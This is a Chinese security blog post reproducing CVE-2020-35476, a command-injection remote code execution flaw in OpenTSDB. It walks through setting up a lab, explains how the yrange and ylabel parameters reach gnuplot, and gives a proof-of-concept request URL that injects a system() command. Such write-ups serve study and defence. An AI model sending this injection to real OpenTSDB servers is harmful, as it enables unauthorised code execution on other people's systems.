记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

opentsdb远程代码执行(CVE-2020-35476)复现

2020-12-20 11:19

简介

OpenTSDB(Open Time Series Data Base)是基于HBASE构建的分布式、可扩展的时间序列数据库。OpenTSDB可以获取电力行业、化工行业、物联网行业等各类型实时监测、检查与分析设备所采集、产生的时间序列数据,并提供存储、索引以及图形化服务,使其易于访问和可视化。


影响版本

OpenTSDB <= 2.4.0


环境搭建

环境

Centos 7

安装依赖hbase

wget https://mirrors.tuna.tsinghua.edu.cn/apache/hbase/1.4.13/hbase-1.4.13-bin.tar.gz

tar -zxvf hbase-1.4.13-bin-tar.gz #解压文件包cp -r hbase-1.4.13 /var/ #移动文件hbase-1.4.13到/var目录下cd /var/hbase-1.4.13 进入目录


配置jdk路径

vi conf/hbase-env.sh

这里填写自己java所在的文件路径不清楚的话可以使用whereis java来查看

进入conf/hbase-site.xml文件,在<configuration>标签中添加以下内容

<configuration>  <property><name>hbase.rootdir</name>    <value>file:///home/itwild/hbase</value>  </property>  <property>    <name>hbase.zookeeper.property.dataDir</name>    <value>/home/itwild/zookeeper</value>  </property></configuration>

添加完毕之后

启动HBase

cd bin./start-hbase.sh #启动hbase./stop-hbase.sh #关闭hbase

启动之后再bin目录下执行

./hbase shell进入交互界面类似mysql的交互模式

create 'tsdb',{NAME => 't', VERSIONS => 1, BLOOMFILTER => 'ROW'}create 'tsdb-uid',{NAME => 'id', BLOOMFILTER => 'ROW'},{NAME => 'name', BLOOMFILTER => 'ROW'}create 'tsdb-tree',{NAME => 't', VERSIONS => 1, BLOOMFILTER => 'ROW'}create 'tsdb-meta',{NAME => 'name', BLOOMFILTER => 'ROW'}

创建四张表

最后执行

list #查看四个表是否创建成功

安装opentsdb

wget https://github.com/OpenTSDB/opentsdb/releases/download/v2.3.2/opentsdb-2.3.2.noarch.rpm #下载opentsdb2.3.2yum localinstall -y opentsdb-2.3.2.noarch.rpm #安装opentsdb

安装完成后把opentsdb注册为系统服务

vi /usr/lib/systemd/system/opentsdb.service

再里面添加以下内容

[Unit]Description=OpenTSDB Service[Service]Type=forkingPrivateTmp=yesExecStart=/usr/share/opentsdb/etc/init.d/opentsdb startExecStop=/usr/share/opentsdb/etc/init.d/opentsdb stopRestart=on-abort


然后就可以使用systemctl status opentsdb查看服务状态了

修改/etc/opentsdb/opentsdb.conf配置文件

最后启动opentsdb

systemctl start opentsdb

如果安装没有问题的话就可以打开locathost:4242看到这个界面了




漏洞原理

OpenTSDB 2.4.0及之前版本中存在远程代码执行漏洞,用户提交的yrange参数或其他相关参数的值在/src/tsd/GraphHandler.java文件中进行简单的反引号及其编码过滤处理后会被直接写入到/tmp目录下的gnuplot文件中


而该gnuplot文件会被OpenTSDB目录/src/mygnuplot.sh脚本调用执行,攻击者可使用其他方式进行绕过上述限制,通过命令注入的方式触发远程代码执行漏洞


漏洞复现

Poc

Localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=[33:system(%27touch%20/tmp/poc.txt%27)]&xrange=10:10&yrange=www&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

执行成功回显

然后会在/tmp下成功创建gnuplot文件

然后就可以等待该gnuplot文件被OpenTSDB目录/src/mygnuplot.sh脚本调用执行最后命令执行成功


修复建议

OpenTSDB官方暂未发布漏洞修复补丁,请及时关注厂商主页:http://opentsdb.net/


知识来源: https://mp.weixin.qq.com/s?__biz=MzUxMjc0MTE3Mw==&mid=2247485572&idx=1&sn=9f5ad16f28b96cbcfcc5f5490fe4498f

阅读:436697 | 评论:0 | 标签:CVE 远程 执行

想收藏或者和大家分享这篇好文章→复制链接地址

“opentsdb远程代码执行(CVE-2020-35476)复现”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁